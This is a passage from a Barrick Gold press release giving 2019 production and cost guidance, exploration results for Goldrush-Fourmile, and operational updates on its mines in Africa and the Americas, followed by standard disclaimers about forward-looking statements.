Similarly, work continues on the rationalisation of the group asset portfolio. Bristow said the identification and sale of non-core assets would be based on a carefully-considered and value-based process.

The new Barrick has a unique ability to grow three-dimensionally: through its large and high-quality exploration portfolio and geological capability; the brownfields extension potential at its existing operations; and new projects destined to become Tier One mines, Bristow said.

This growth will be driven and directed by a management team with a mix of skills and experience that few other gold mining companies can match. In the short time that weve been together, the combined team has already made great progress in applying Randgolds proven strategy to a new global group that I am confident will soon earn its place as the industrys most valued company.

2019 Operating and Capital Expenditure Guidance

GOLD PRODUCTION AND COSTS Production

(000s ounces) Cost of sales1

($ per ounce) Cash costs2

($ per ounce) All-in

sustaining costs2

($ per ounce) Barrick Nevada4 1,750 - 1,900 920 - 970 640 - 690 850 - 900 Pueblo Viejo (60%) 550 - 600 780 - 830 465 - 510 610 - 650 Loulo-Gounkoto (80%)5 520 - 570 800 - 850 575 - 625 810 - 850 Kibali (45%)5 330 - 350 890 - 940 555 - 605 670 - 730 Kalgoorlie (50%) 280 - 300 920 - 970 740 - 790 920 - 960 Turquoise Ridge (75%) 270 - 310 655 - 705 550 - 600 680 - 730 Tongon (89.7%)5 250 - 270 945 - 995 710 - 760 780 - 820 Porgera (47.5%) 240 - 260 980  1,030 800 - 850 985 - 1,025 Veladero (50%) 230 - 250 1,250 - 1,350 770 - 820 1,150 - 1,250 Hemlo 200 - 220 890 - 940 765 - 815 1,100 - 1,200 Acacia (63.9%) 320 - 350 920 - 970 665 - 710 860 - 920 Other Sites6 190 - 250 1,075 - 1,165 895 - 945 1,055 - 1,115 Total Gold5,7,8,9 5,100 - 5,600 880 - 940 650 - 700 870 - 920 COPPER PRODUCTION AND COSTS Production

(millions of pounds) Cost of sales

($ per pound) C1 cash costs10

($ per pound) All-in

sustaining costs10

($ per pound) Lumwana 210 - 240 2.25 - 2.50 1.80 - 2.10 2.75 - 3.15 Zaldivar (50%) 120 - 130 2.40 - 2.70 1.65 - 1.85 2.00 - 2.20 Jabal Sayid (50%) 45 - 60 2.00 - 2.30 1.60 - 1.90 1.60 - 1.90 Total Copper9 375 - 430 2.30 - 2.70 1.70 - 2.00 2.40 - 2.90 CAPITAL EXPENDITURES Mine site sustaining 1,100 - 1,300 Project 300 - 400 Total Attributable Capital Expenditures11 1,400 - 1,700

2019 Outlook Assumptions

2019 Guidance

Assumption Hypothetical

Change Impact on

Revenue

(millions) Impact on

Cost of sales

(millions) Impact on

All-in

sustaining

Costs2 Gold revenue, net of royalties $1,250/oz +/- $100/oz +/- $535 +/- $17 +/- $3/oz Copper revenue, net of royalties $2.75/lb +/- $0.50/lb +/- $201 +/- $18 +/- $0.04/lb

Note #1

Cost of sales applicable to gold per ounce is calculated using cost of sales applicable to gold on an attributable basis (removing the non-controlling interest of 40% Pueblo Viejo, 36.1% Acacia, 40% South Arturo, 20% Loulo-Gounkoto and 10.3% of Tongon from cost of sales), divided by attributable gold ounces sold. Cost of sales applicable to copper per pound is calculated using cost of sales applicable to copper including our proportionate share of cost of sales attributable to equity method investments (Zaldivar and Jabal Sayid), divided by consolidated copper pounds sold (including our proportionate share of copper pounds sold from our equity method investments).

Note #2

Cash costs per ounce and All-in sustaining costs per ounce are non-GAAP financial performance measures. Cash costs per ounce starts with cost of sales applicable to gold production, but excludes the impact of depreciation, the non-controlling interest of cost of sales, and includes by-product credits. All-in sustaining costs per ounce begin with Cash costs per ounce and add further costs which reflect the additional costs of operating a mine, primarily sustaining capital expenditures, general & administrative costs, minesite exploration and evaluation costs, and reclamation cost accretion and amortization. Barrick believes that the use of cash costs per ounce and all-in sustaining costs per ounce will assist investors, analysts and other stakeholders in understanding the costs associated with producing gold, understanding the economics of gold mining, assessing our operating performance and also our ability to generate free cash flow from current operations and to generate free cash flow on an overall Company basis. Cash costs per ounce and All-in sustaining costs per ounce are intended to provide additional information only and do not have any standardized meaning under IFRS. Although a standardized definition of all-in sustaining costs was published in 2013 by the World Gold Council (a market development organization for the gold industry comprised of and funded by 26 gold mining companies from around the world, including Barrick), it is not a regulatory organization, and other companies may calculate this measure differently. These measures should not be considered in isolation or as a substitute for measures prepared in accordance with IFRS. Further details on these non-GAAP measures are provided in the MD&A accompanying Barricks financial statements filed from time to time on SEDAR at www.sedar.com and on EDGAR at www.sec.gov.

Note #3

A Tier One Gold Asset is a mine with a stated life in excess of 10 years with 2017 production of at least 500,000 ounces of gold and 2017 total cash cost per ounce within the bottom half of Wood Mackenzies cost curve tools (excluding state-owned and privately-owned mines). For purposes of determining Tier One Gold Assets, Total cash cost per ounce is based on data from Wood Mackenzie as of August 31, 2018. The Wood Mackenzie calculation of Total cash cost per ounce may not be identical to the manner in which Barrick calculates comparable measures. Total cash cost per ounce is a non-GAAP financial performance measure with no standardized meaning under IFRS and therefore may not be comparable to similar measures presented by other issuers. Total cash cost per ounce should not be considered by investors as an alternative to operating profit, net profit attributable to shareholders, or to other IFRS measures. Barrick believes that Total cash cost per ounce is a useful indicator for investors and management of a mining companys performance as it provides an indication of a companys profitability and efficiency, the trends in cash costs as the companys operations mature, and a benchmark of performance to allow for comparison against other companies. Wood Mackenzie is an independent third party research and consultancy firm that provides data for, among others, the metals and mining industry. Wood Mackenzie does not have any affiliation to Barrick.

Note #4

Reflects production and sales from Goldstrike, Cortez, and South Arturo on a 60% basis, which reflects our equity share.

Note #5

2019 forecast cost of sales does not include the impact of the Randgold purchase price allocation.

Note #6

Includes Lagunas Norte, Golden Sunlight and Morila on a 40% basis.

Note #7

Operating unit guidance ranges reflect expectations at each individual operating unit, and may not add up to the corporate-wide guidance range total. Guidance ranges exclude Pierina, which is mining incidental ounces as it enters closure.

Note #8

Total gold cash costs and all-in sustaining costs per ounce include the impact of hedges and/or costs allocated to non-operating sites.

Note #9

Includes corporate administration costs.

Note #10

C1 cash costs per pound and All-in sustaining costs per pound are non-GAAP financial performance measures. C1 cash costs per pound is based on cost of sales but excludes the impact of depreciation and royalties and includes treatment and refinement charges. All-in sustaining costs per pound begins with C1 cash costs per pound and adds further costs which reflect the additional costs of operating a mine, primarily sustaining capital expenditures, general & administrative costs and royalties. Barrick believes that the use of C1 cash costs per pound and all-in sustaining costs per pound will assist investors, analysts, and other stakeholders in understanding the costs associated with producing copper, understanding the economics of copper mining, assessing our operating performance, and also our ability to generate free cash flow from current operations and to generate free cash flow on an overall Company basis. C1 cash costs per pound and All-in sustaining costs per pound are intended to provide additional information only, do not have any standardized meaning under IFRS, and may not be comparable to similar measures of performance presented by other companies. These measures should not be considered in isolation or as a substitute for measures of performance prepared in accordance with IFRS. Further details on these non-GAAP measures are provided in the MD&A accompanying Barricks financial statements filed from time to time on SEDAR at www.sedar.com and on EDGAR at www.sec.gov.

Note #11

These amounts include our 60% share of Pueblo Viejo and South Arturo, our 80% share of Loulo-Gounkoto, our 89.7% share of Tongon, our 63.9% share of Acacia and our 50% share of Zaldivar and Jabal Sayid.

GOLDRUSH AND FOURMILE PROJECTS COMBINED WITH POTENTIAL FOR TIER ONE STATUS

Ongoing exploration within the Horse Canyon/Cortez Unified Exploration Plan in Nevada has identified and extended ore grade mineralization such that the Goldrush and Fourmile resource areas are coalescing on the same geological trend. The two are now being treated as one project which has increased the optionality for this project and the potential to become another Tier One mine for Barrick within the footprint of the Cortez district.

While the geological, geotechnical and geo-metallurgical aspects of the mineralized corridor are being reviewed, ongoing development of the twin exploration declines at Goldrush will provide access to the heart of the orebody for further drilling and the conversion of resources to reserves. The exploration declines can be converted to production declines later.

Rod Quick, Barricks mineral resource management and evaluation executive, confirmed that the projects feasibility study is currently scheduled for completion in early 2020, although the latest developments have afforded the feasibility team the opportunity to re-evaluate and optimize the project design, on the back of the increased resources. Current indicated mineral resources outside of reserves stand at 30.9Mt at 9.4g/t for 9.35 million ounces and a further 11.9Mt at 9.3g/t for 3.55 million ounces in the inferred category4. Current probable reserves on the Redhill portion of project stand at 6.4Mt at 9.7g/t for 2.0 million ounces4.

Rob Krcmarov, executive vice-president exploration and growth, says the project has demonstrated the enormous potential of the Cortez region, which has historically produced more than 24 million ounces, and has 10.7 million ounces of reserves and 12.5 million ounces of M&I resources and a significant mineral inventory yet to be defined4. Barrick believes it could deliver further discoveries of a similar size to Goldrush, and therefore while continuing to explore the area, the company is also evaluating increasing processing capacity in the region.

Goldrush-Fourmile: Our Next Potential Tier One Mine1

Delivered initial inferred resource of 1.167Mt @ 18.58 g/t at Fourmile within significantly mineralized footprint

Open mineralization

Integrating latest discovery with Goldrush2



See Appendix A for additional details including assay results for the significant intercepts. Probable reserves: 2 Moz (6.4Mt at 9.7 g/t); indicated resources: 9.35Moz (30.9 Mt @ 9.4g/t); inferred resources (including Fourmile): 3.55Moz (11.9Mt @ 9.3g/t).

Appendix A  Fourmile Significant Intercepts1

Drill Results Highlighted in Q4 2018 Presentation

Core Drill Hole2 Azimuth Dip Interval (m) Width (m)3 Au (g/t) FM18-43D 14 -87 909.5 - 910.7 1.2 5.0 916.8 - 918.3 1.5 5.4 932.4 - 935.4 3.0 10.6 957.7 - 960.7 3 18.8 FM18-44D 92 -86 1,079.3 - 1,083.1 3.8 11.6 FM18-47D 151 -83 627.3 - 628.8 1.5 5.9 772 - 776.6 4.6 60.9 779.5 - 781.3 1.8 11.7 FM18-48D 119 -83 1,102.8 - 1,105.8 3 17.6 FM18-49D 84 -86 921.1 - 922 0.91 16.8 957.7 - 978.1 20.4 54.1 FM18-52D 62 -83 873.1 - 899 25.9 34.6 935.6 - 956.9 21.3 30.2

All intercepts calculated using a 5g/t Au cutoff and are uncapped; minimum intercept width is 0.8m; internal dilution is less than 20% total width. Fourmile drill hole nomenclature: FM (Fourmile) followed by the year (18 for 2018). True width of intercepts are uncertain at this stage.

The drilling results for the Fourmile property contained in this press release have been prepared in accordance with National Instrument 43-101  Standards of Disclosure for Mineral Projects. All drill hole assay information has been manually reviewed and approved by staff geologists and re-checked by the project manager. Sample preparation and analyses are conducted by an independent laboratory. Procedures are employed to ensure security of samples during their delivery from the drill rig to the laboratory. The quality assurance procedures, data verification and assay protocols used in connection with drilling and sampling on the Fourmile property conform to industry accepted quality control methods.

SOLAR HYBRID PLANT FOR LOULO-GOUNKOTO

As part of its cost-reduction program and drive to manage its carbon footprint, Loulo is to install a 24MW off-grid solar hybrid plant to support its existing 63MW thermal power station, by harnessing Malis abundant solar resource.

This renewable energy project is part of Barricks strategy of moving away from thermal power in Africa, where lack of infrastructure means that many mines need to rely on self-generated diesel energy, making this their largest cost item.

Utilizing hydropower in the Democratic Republic of Congo, grid power in Cote dIvoire, and heavy-fuel baseload generators in Mali, Barrick has already cut its energy costs significantly, and the continuing roll-out of renewable energy sources will ensure that its future needs are met in the most cost-efficient and environmentally friendly manner.

The solar feasibility study forecasts that the photovoltaic plant will replace 50,000MWh/y of thermal generation, saving 10 million liters of fuel per year and reducing CO  emissions by 42,000 tonnes over the same period. The introduction of the solar component will cut the complexs energy cost by around 2 cents/kWh.

Construction of the projectwhich meets Barricks investment criteria of 20% IRRwill start later this year, and it is scheduled for commissioning in late 2020. The plant will use the latest weather prediction models, which will enable the power management system to switch between thermal and solar without compromising the micro-grid.

AUTOMATION DRIVES MINING INTO THE FUTURE

Autonomous production systems and projects throughout Barrick are being advanced as the group focuses on becoming the global leader in mining efficiency.

Chief executive Mark Bristow says to achieve its goal of being the worlds most valued gold company, in a rapidly evolving environment where the industrys shift to developing countries will continue, Barrick will have to be at the leading edge of automation.

Kibali in the Democratic Republic of Congo is currently at the forefront, with its mission control system which manages the underground ore handling logistics without human intervention from the surface, but across Barrick there are many automated operations and developments which are now being unified in a group strategy, he says.

These include underground drills that can be run from surface during shift changes; automated underground and open pit haulage trucks; fully autonomous backfill systems; remote-controlled open pit drills; and autonomous drilling of development and production blast holes by multiple units controlled by a single remote operator.

Glenn Heard, senior vice president mining, says ongoing projects currently cover five main areas: underground development and production drilling, production and haulage, and open pit haulage and production.

At present all our systems have barriers which prevent human access to the autonomous operating zones. Our next big step will be to create a situation where autonomous and manned units can work together seamlessly within the same active areas, and were working with Sandvik and other providers to achieve this, he says.

LUMWANA SEEKS LONG-TERM PARTNERSHIP WITH ZAMBIAN GOVERNMENT

Barrick, owners of the Lumwana copper mine, says it is continuing to engage with the Zambian government and community stakeholders about a mutually-beneficial way forward for the operation.

Subsequent to the first Lumwana board meeting following the Barrick/Randgold merger, Barricks chief operating officer for Africa and the Middle East, Willem Jacobs, said the company was mindful that the Government was under pressure to increase its revenue. At the same time, however, its proposed tax changes would put Lumwana in a challenging situation.

The proposed changes to taxes and royalties would imperil the mines ability to sustain returns to all stakeholders, such as the significant contribution of more than $3.3 billion it has already made to the Zambian economy over the past 10 years, Jacobs said.

Lumwana has made detailed proposals to the Government about a partnership approach which would provide the State with an improved share in the economics of Lumwana without overburdening the mine. Finding a win-win solution between the industry and Government would without doubt increase investor confidence in Zambia and safeguard the long-term prospects of its mining industry.

Jacobs said media reports that Barrick had sold Lumwana were untrue, but given the challenging conditions the mine was facing, all options would have to be considered.

WILLOW CREEK TO REOPEN TO THE PUBLIC

The Willow Creek Reservoir Restoration Project, designed to create a natural spawning habitat for fish and to provide a recreational resource for the surrounding communities, is nearing completion and will reopen to the public early this year.

The Barrick-owned reservoir was built in the 1920s but drained in December 2017 as a result of a gate malfunction. Since then, the company has invested $1.7 million and 20,000 man-hours in restoring the man-made lake. Among other things, Barrick volunteers have helped to install the proper fish habitats. Nevada Bighorns Unlimited, a sportsmens group and Barrick partner, will fund the fish restocking in the North American spring this year. While the fishery will take a while to return to its original level, the public will, at the same time, be given access to the reservoir.

Barrick and the Nevada Department of Wildlife (NDOW) have formed a partnership to manage the maintenance of the reservoir and the restoration of fish stocks and habitats.

Barrick has a record of responsible water management and this agreement again demonstrates its desire to be a good corporate citizen, says Caleb McAdoo, Eastern Region habitat supervisor for the NDOW. The reservoir is important to Nevadans and our agreement will ensure its longevity and optimal use.

BRISTOW HITS GROUND RUNNING IN AMERICAS

A fortnight after the merger between Barrick and Randgold was completed, new president and CEO Mark Bristow and members of the combined executive team set out on a tour of the North- and Latin-American operations to accelerate the process of integration.

In Latin America they visited Pueblo Viejo and Veladero twice, and Lagunas Norte and Pierina each once. Bristow also met Governor Sergio Unac of San Juan province to stress Barricks commitment to Argentina and the importance of a mutually-beneficial partnership with government.

The North American leg of the tour took in Hemlo, Cortez, Goldstrike, and Turquoise Ridge. Catherine Raw, COO North America notes: Visiting these sites in January meant we had to deal with harsh weather conditionsparticularly at Hemlo, where temperatures reached -40 degrees Celsius, before windchill!

In his meetings with employees, Bristow reviewed 2018 performances and 2019 budgets, and spelled out what Barrick would have to do to achieve its new goal of becoming the worlds most valued gold company. He explained that the rationalization of the business was not merely a rightsizing exercise, but designed to ensure that the company was truly fit for purpose. Senior executives have been embedded across the operations to facilitate decision-making at source, and people were being aligned with each other and with corporate goals.

Colin Bower, the new EGM of the expanded Barrick Nevada, which includes Cortez, Goldstrike, and Turquoise Ridge, noted: The pragmatism of Bristows approach to the business coupled with the direct communication was much appreciated. The Nevada team finished the visit with clarity of purpose, direction, and clear expectations of our contribution going forward.

KIBALI BREAKS RECORDS ACROSS BOARD, ALL KEY PRODUCTION PARAMETERS ABOVE PLAN

The Kibali gold mine produced 807,2515 ounces of gold in 2018, above its target of 750,000 ounces and 35% higher than its output the previous year. This was achieved on the back of the successful ramp-up in underground production and a steady improvement in the processing plant recovery and throughput.

Barrick president and chief executive Mark Bristow told a media briefing in Kinshasa that the record production was driven by the shaft operating at nameplate specification and the optimization of the underground materials handling system which has placed Kibali at the leading edge of gold mine automation in Africa.

Despite the high activity level, the mine recorded its safest year to date, with no lost-time injuries in the fourth quarter and no significant environmental incident. Bristow said the mine continued to offset the impact of its operations through environmental projects such as the 10,130 indigenous trees planted on the site last year, as well as biodiversity initiatives. On the health front, the malaria and HIV prevalence rates continued to decrease and stood at 12.9% and 2.8% respectively at the year end.

The resettlement of 1,478 families from the Gorumbwa site to a new village has been successfully completed and will allow the development of the next satellite pit in the mine plan. In addition, continuing brownfields exploration around the mine has identified numerous opportunities for reserve replacement along the KZ trend and around KCD.

Bristow noted that Kibalis partnership philosophy was continuing to deliver dividends to the local economy, with $39 million paid to Congolese contractors in the last quarter of 2018 alone.

Our commitment to the DRC, made 10 years ago when Randgold started developing Kibali, has not dimmed, and under the new banner of Barrick we expect to continue to make a significant and growing contribution to the countrys economy and to unlock further value for all our stakeholders, he said.

TONGON ACHIEVES REVISED GUIDANCE AFTER OVERCOMING MAJOR CHALLENGES

After nine months of intermittent production caused by illegal strikes and social unrest, the Tongon gold mine returned to normal in the last quarter of 2018 and achieved its revised production target of 230,000 ounces for the year.

Speaking at a media briefing in Abidjan, Barrick president and chief executive Mark Bristow said the Government-endorsed reconciliation agreement between the mine, the employees and the community was designed to create a climate in which operations would run as normal and good relations could be rebuilt.

This should mark a new beginning for Tongon, and it is significant that the Minister of Mines, Jean Claude Kouassi, visited the mine to sign this agreement in the presence of representatives of all the stakeholders, he said.

Bristow said Barrick was committed to continuing the Randgold policy of investment in community projects and noted that despite the many challenges it had faced, Tongon had to date spent some $10 million on these initiatives. All eight villages in the mines ambit now have primary schools, medical care facilities and potable water, and the development of an agribusiness as a sustainable source of economic activity after the mines closure is progressing.

During the year, the mines grid power supply was frequently interrupted by the roll-out of the power utilitys new ring circuit, which also impacted production. Bristow said that the situation was much improved after the commissioning of the new circuit and Tongon was looking forward to a more stable supply as well as a more constructive engagement with the utility.

Its worth noting that despite its troubled history, Tongon has remained profitable and has continued to pay dividends to its shareholders, including the Government, Bristow said.

We are committed to prolong the contribution it makes to the economy and the community by extending the mines life. Exploration for additional reserves is continuing around the mine and indications are that this aim is achievable. We are also maintaining our search for new world-class gold deposits in our permit portfolio elsewhere in Cote dIvoire.

LOULO-GOUNKOTO COMPLEX CONTINUES TO INVEST IN ITS FUTURE AND POINTS TO ONGOING IMPROVEMENT IN PRODUCTION

The Loulo-Gounkoto complex in Mali posted a fourth consecutive quarterly improvement in gold production, despite an illegal work stoppage that caused it to miss its full year production guidance of 690,000 ounces by 4%. In addition to this, 2018 was a record throughput year of more than 5 million tonnes at close to the complexs reserve grade.

Speaking at a briefing at the mine for local media, Barrick president and chief executive Mark Bristow noted that the complex, which ranks among the recently merged Barrick/Randgold groups Tier One assets, was continuing to invest in its future by exploring for additional reserves and upgrading plant and equipment.

A preliminary economic assessment of the Loulo 3 open pit and underground project has been completed and drilling continues to expand the area of high-grade mineralization south of the Yalea orebody. Exploration of the Faraba structure on the Gounkoto permit has shown the potential for multiple zones of mineralization to be extended, Bristow said.

At the existing operations, weve commissioned the second crusher at Yalea, the full integration of the automated dispatch system at Gounkoto and the second radar for the geotechnical monitoring of the Gounkoto pit. The complex has also completed the striker belts project at Gara and moved ahead with the expansion of the tailings treatment facility.

Bristow said the continuing profitable growth of Loulo-Gounkoto was a shining example of what could be achieved through a genuine partnership between investors, managers and governments. He cited the tax holiday recently granted for the development of the super pit at Gounkoto as a typical instance of mutually beneficial cooperation.

As Randgold, weve been engaged in Mali for 25 years and have worked together productively with successive governments. We look forward to continuing this relationship as Barrick with the recently elected government and the new minister of mines. Our differences over the tax issue remain on the agenda and we trust that through amicable mediation well arrive at a solution acceptable to both parties, he said.

Bristow noted that the complex continued to improve its safety and environmental management, and had obtained the new version of the ISO 14001 environmental certification while retaining its OHSAS 18001 health and safety rating.

The group was also maintaining its support for community development programs and projects. At its other Malian asset, Morila, the government has formally endorsed its plan to establish an agribusiness designed to mitigate the social and economic impact of the operations closure.

ENQUIRIES

President and CEO

Mark Bristow

+1 647 205 7694

+44 788 071 1386

Senior Executive Vice-President and Chief Financial Officer

Graham Shuttleworth

+44 1534 735 333

+44 779 771 1338

Investor and Media Relations

Kathy du Plessis

+44 20 7557 7738

Email: barrick@dpapr.com

TECHNICAL INFORMATION

The scientific and technical information contained in this press release has been reviewed and approved by: Rodney Quick, mineral resource management and evaluation executive of Barrick; Simon Bottoms, mineral resources manager: Africa and Middle East of Barrick; Rick Sims, Registered Member SME, vice president, reserves and resources of Barrick; and Robert Krcmarov ,FAusIMM, executive vice president, exploration and growth of Barrickeach a Qualified Person as defined in National Instrument 43-101 - Standards of Disclosure for Mineral Projects.

ENDNOTES

Endnote 1

Cost of sales applicable to gold per ounce is calculated using cost of sales related to gold on an attributable basis (removing the non-controlling interest of 40% Pueblo Viejo, 36.1% Acacia, 40% South Arturo, 20% Loulo-Gounkoto and 10.3% of Tongon from cost of sales), divided by attributable gold ounces sold. Cost of sales applicable to copper per pound is calculated using cost of sales applicable to copper including our proportionate share of cost of sales attributable to equity method investments (Zaldivar and Jabal Sayid), divided by consolidated copper pounds sold (including our proportionate share of copper pounds sold from our equity method investments).

Endnote 2

Cash costs per ounce and All-in sustaining costs per ounce are non-GAAP financial performance measures. Cash costs per ounce starts with cost of sales applicable to gold production, but excludes the impact of depreciation, the non-controlling interest of cost of sales, and includes by-product credits. All-in sustaining costs per ounce begin with Cash costs per ounce and add further costs which reflect the additional costs of operating a mine, primarily sustaining capital expenditures, general & administrative costs, minesite exploration and evaluation costs, and reclamation cost accretion and amortization. Barrick believes that the use of cash costs per ounce and all-in sustaining costs per ounce will assist investors, analysts and other stakeholders in understanding the costs associated with producing gold, understanding the economics of gold mining, assessing our operating performance and also our ability to generate free cash flow from current operations and to generate free cash flow on an overall Company basis. Cash costs per ounce and All-in sustaining costs per ounce are intended to provide additional information only and do not have any standardized meaning under IFRS. Although a standardized definition of all-in sustaining costs was published in 2013 by the World Gold Council (a market development organization for the gold industry comprised of and funded by 26 gold mining companies from around the world, including Barrick), it is not a regulatory organization, and other companies may calculate this measure differently. These measures should not be considered in isolation or as a substitute for measures prepared in accordance with IFRS. Further details on these non-GAAP measures are provided in the MD&A accompanying Barricks financial statements filed from time to time on SEDAR at www.sedar.com and on EDGAR at www.sec.gov.

Endnote 3

A Tier One gold asset is a mine with a stated life in excess of 10 years with 2017 production of at least 500,000 ounces of gold and 2017 total cash cost per ounce within the bottom half of Wood Mackenzies cost curve tools (excluding state-owned and privately-owned mines). For purposes of determining Tier One gold assets, Total cash cost per ounce is based on data from Wood Mackenzie as of August 31, 2018. The Wood Mackenzie calculation of Total cash cost per ounce may not be identical to the manner in which Barrick calculates comparable measures. Total cash cost per ounce is a non-GAAP financial performance measure with no standardized meaning under IFRS and therefore may not be comparable to similar measures presented by other issuers. Total cash cost per ounce should not be considered by investors as an alternative to operating profit, net profit attributable to shareholders, or to other IFRS measures. Wood Mackenzie is an independent third party research and consultancy firm that provides data for, among others, the metals and mining industry. Wood Mackenzie does not have any affiliation to Barrick.

Endnote 4

Estimated in accordance with National Instrument 43-101 as required by Canadian securities regulatory authorities. Estimates are as of December 31, 2018, unless otherwise noted. Includes Cortez proven reserves of 17.6 million tonnes grading 2.01g/t, representing 1.1 million ounces of gold and probable reserves of 127 million tonnes grading 1.86g/t representing 7.6 million ounces of gold; Cortez measured resources of 3.3 million tonnes grading 1.84g/t, representing 198,000 ounces of gold and indicated resources of 53 million tonnes grading 1.73g/t, representing 3.0 million ounces of gold; Goldrush probable reserves of 6 million tonnes grading 9.69g/t, representing 2.0 million ounces of gold; Goldrush indicated resources of 30.9 million tonnes grading 9.40g/t, representing 9.35 million ounces of gold. Goldrush inferred resources of 11.9 million tonnes grading 9.3g/t, representing 3.55 million ounces of gold.

Endnote 5

100% basis. In 2018, Randgolds 45% equity share of gold production from Kibali was 363,000 ounces.

CAUTIONARY STATEMENT ON FORWARD-LOOKING INFORMATION

Certain information contained or incorporated by reference in this press release, including any information as to our strategy, projects, plans, or future financial or operating performance, constitutes forward-looking statements. All statements, other than statements of historical fact, are forward-looking statements. The words believe, expect, anticipate, plan, assume, intend, project, continue, budget, estimate, potential, may, will, can, should, could, would, and similar expressions identify forward-looking statements. In particular, this press release contains forward-looking statements including, without limitation, with respect to: Barricks forward-looking production guidance; estimates of future cost of sales per ounce for gold and per pound for copper, all-in-sustaining costs per ounce/pound, cash costs per ounce, and C1 cash costs per pound; projected capital, operating, and exploration expenditures; targeted debt and cost reductions, including cost reductions resulting from the installation of a solar hybrid plant at Loulo-Gounkoto; mine life and production rates; potential mineralization, including with respect to Cortez, Goldrush, Fourmile, Turquoise Ridge and Loulo-Gounkoto, and metal or mineral recoveries; the benefits of integrating the Goldrush and Fourmile operations as a single project, and completion of the projects feasibility study; the development of potential Tier One gold assets to become Tier One gold assets; our pipeline of high confidence projects at or near existing operations; the potential to identify new reserves and resources, and our ability to convert resources into reserves, including our pipeline of greenfield projects; the combined Companys future plans, growth potential, financial strength, investments and overall strategy; completion of mining at Cortez Hills open pit; opening and fish restocking of Willow Creek Reservoir Restoration Project; opportunities for reserve replacement along the KZ trend and around KCD; future contributions to the economy of the Democratic Republic of Congo; future investments in community projects, permitting strategy and the availability of power to the Tongon mine; potential mediation with the government of Mali with respect to tax issues and the outcome of any such mediation; expectations regarding the potential impact of the proposed tax changes in Zambia; the potential benefits resulting from a long-term partnership between Lumwana and the Zambian Government; asset sales, joint ventures, and partnerships; and expectations regarding future price assumptions, financial performance, and other outlook or guidance.

Forward-looking statements are necessarily based upon a number of estimates and assumptions including material estimates and assumptions related to the factors set forth below that, while considered reasonable by the Company as at the date of this press release in light of managements experience and perception of current conditions and expected developments, are inherently subject to significant business, economic and competitive uncertainties and contingencies. Known and unknown factors could cause actual results to differ materially from those projected in the forward-looking statements, and undue reliance should not be placed on such statements and information. Such factors include, but are not limited to: fluctuations in the spot and forward price of gold, copper, or certain other commodities (such as silver, diesel fuel, natural gas, and electricity); the speculative nature of mineral exploration and development; changes in mineral production performance, exploitation, and exploration successes; risks associated with the fact that certain Best-in-Class initiatives are still in the early stages of evaluation, and additional engineering and other analysis is required to fully assess their impact; risks associated with the ongoing implementation of Barricks digital transformation initiative, and the ability of the projects under this initiative to meet the Companys capital allocation objectives; the duration of the Tanzanian ban on mineral concentrate exports; the ultimate terms of any definitive agreement between Acacia and the Government of Tanzania to resolve a dispute relating to the imposition of the concentrate export ban and allegations by the Government of Tanzania that Acacia under-declared the metal content of concentrate exports from Tanzania; the status of certain tax re-assessments by the Tanzanian government; the manner in which amendments to the 2010 Mining Act (Tanzania) increasing the royalty rate applicable to metallic minerals such as gold, copper and silver to 6% (from 4%), the new Finance Act (Tanzania) imposing a 1% clearing fee on the value of all minerals exported from Tanzania from July 1, 2017 and the new Mining Regulations announced by Government of Tanzania in January 2018 will be implemented and the impact of these and other legislative changes on Acacia; whether Barrick will successfully negotiate an agreement with respect to the dispute between Acacia and the Government of Tanzania and whether Acacia will approve the terms of any such final agreement; the benefits expected from recent transactions being realized, including the Randgold merger; diminishing quantities or grades of reserves; increased costs, delays, suspensions and technical challenges associated with the construction of capital projects; operating or technical difficulties in connection with mining or development activities, including geotechnical challenges and disruptions in the maintenance or provision of required infrastructure and information technology systems; failure to comply with environmental and health and safety laws and regulations; timing of receipt of, or failure to comply with, necessary permits and approvals; uncertainty whether some or all of the Best-in-Class initiatives, targeted investments and projects will meet the Companys capital allocation objectives and internal hurdle rate; the impact of global liquidity and credit availability on the timing of cash flows and the values of assets and liabilities based on projected future cash flows; adverse changes in our credit ratings; the impact of inflation; fluctuations in the currency markets; changes in U.S. dollar interest rates; risks arising from holding derivative instruments; changes in national and local government legislation, taxation, controls or regulations and/ or changes in the administration of laws, policies and practices, expropriation or nationalization of property and political or economic developments in Canada, the United States, and other jurisdictions in which the Company or its affiliates do or may carry on business in the future; lack of certainty with respect to foreign legal systems, corruption and other factors that are inconsistent with the rule of law; damage to the Companys reputation due to the actual or perceived occurrence of any number of events, including negative publicity with respect to the Companys handling of environmental matters or dealings with community groups, whether true or not; the possibility that future exploration results will not be consistent with the Companys expectations; risks that exploration data may be incomplete and considerable additional work may be required to complete further evaluation, including but not limited to drilling, engineering and socioeconomic studies and investment; risk of loss due to acts of war, terrorism, sabotage and civil disturbances; litigation and legal and administrative proceedings; contests over title to properties, particularly title to undeveloped properties, or over access to water, power and other required infrastructure; business opportunities that may be presented to, or pursued by, the Company; risks associated with the fact that certain of the initiatives described in this press release are still in the early stages and may not materialize; our ability to successfully integrate acquisitions or complete divestitures; risks associated with working with partners in jointly controlled assets; employee relations including loss of key employees; increased costs and physical risks, including extreme weather events and resource shortages, related to climate change; availability and increased costs associated with mining inputs and labor; and the organization of our previously held African gold operations and properties under a separate listed Company. In addition, there are risks and hazards associated with the business of mineral exploration, development and mining, including environmental hazards, industrial accidents, unusual or unexpected formations, pressures, cave-ins, flooding and gold bullion, copper cathode or gold or copper concentrate losses (and the risk of inadequate insurance, or inability to obtain insurance, to cover these risks).

Many of these uncertainties and contingencies can affect our actual results and could cause actual results to differ materially from those expressed or implied in any forward-looking statements made by, or on behalf of, us. Readers are cautioned that forward-looking statements are not guarantees of future performance. All of the forward-looking statements made in this press release are qualified by these cautionary statements. Specific reference is made to the most recent Form 40- F/Annual Information Form on file with the SEC and Canadian provincial securities regulatory authorities for a more detailed discussion of some of the factors underlying forward-looking statements and the risks that may affect Barricks ability to achieve the expectations set forth in the forward-looking statements contained in this press release.

The Company disclaims any intention or obligation to update or revise any forward-looking statements whether as a result of new information, future events or otherwise, except as required by applicable law.

Photos accompanying this announcement are available at

http://www.globenewswire.com/NewsRoom/AttachmentNg/83cb132f-4ce6-42a7-a668-9ee79b35d59f

http://www.globenewswire.com/NewsRoom/AttachmentNg/e1f4ec57-2607-45a6-81fa-992b92be78e5

http://www.globenewswire.com/NewsRoom/AttachmentNg/ef5b06a5-068c-46a5-a788-be288865136f

http://www.globenewswire.com/NewsRoom/AttachmentNg/c7772245-c1fd-488e-b831-f7b5202fdbd2

http://www.globenewswire.com/NewsRoom/AttachmentNg/8792f173-ecaa-4da4-abe0-e6a3fd971176

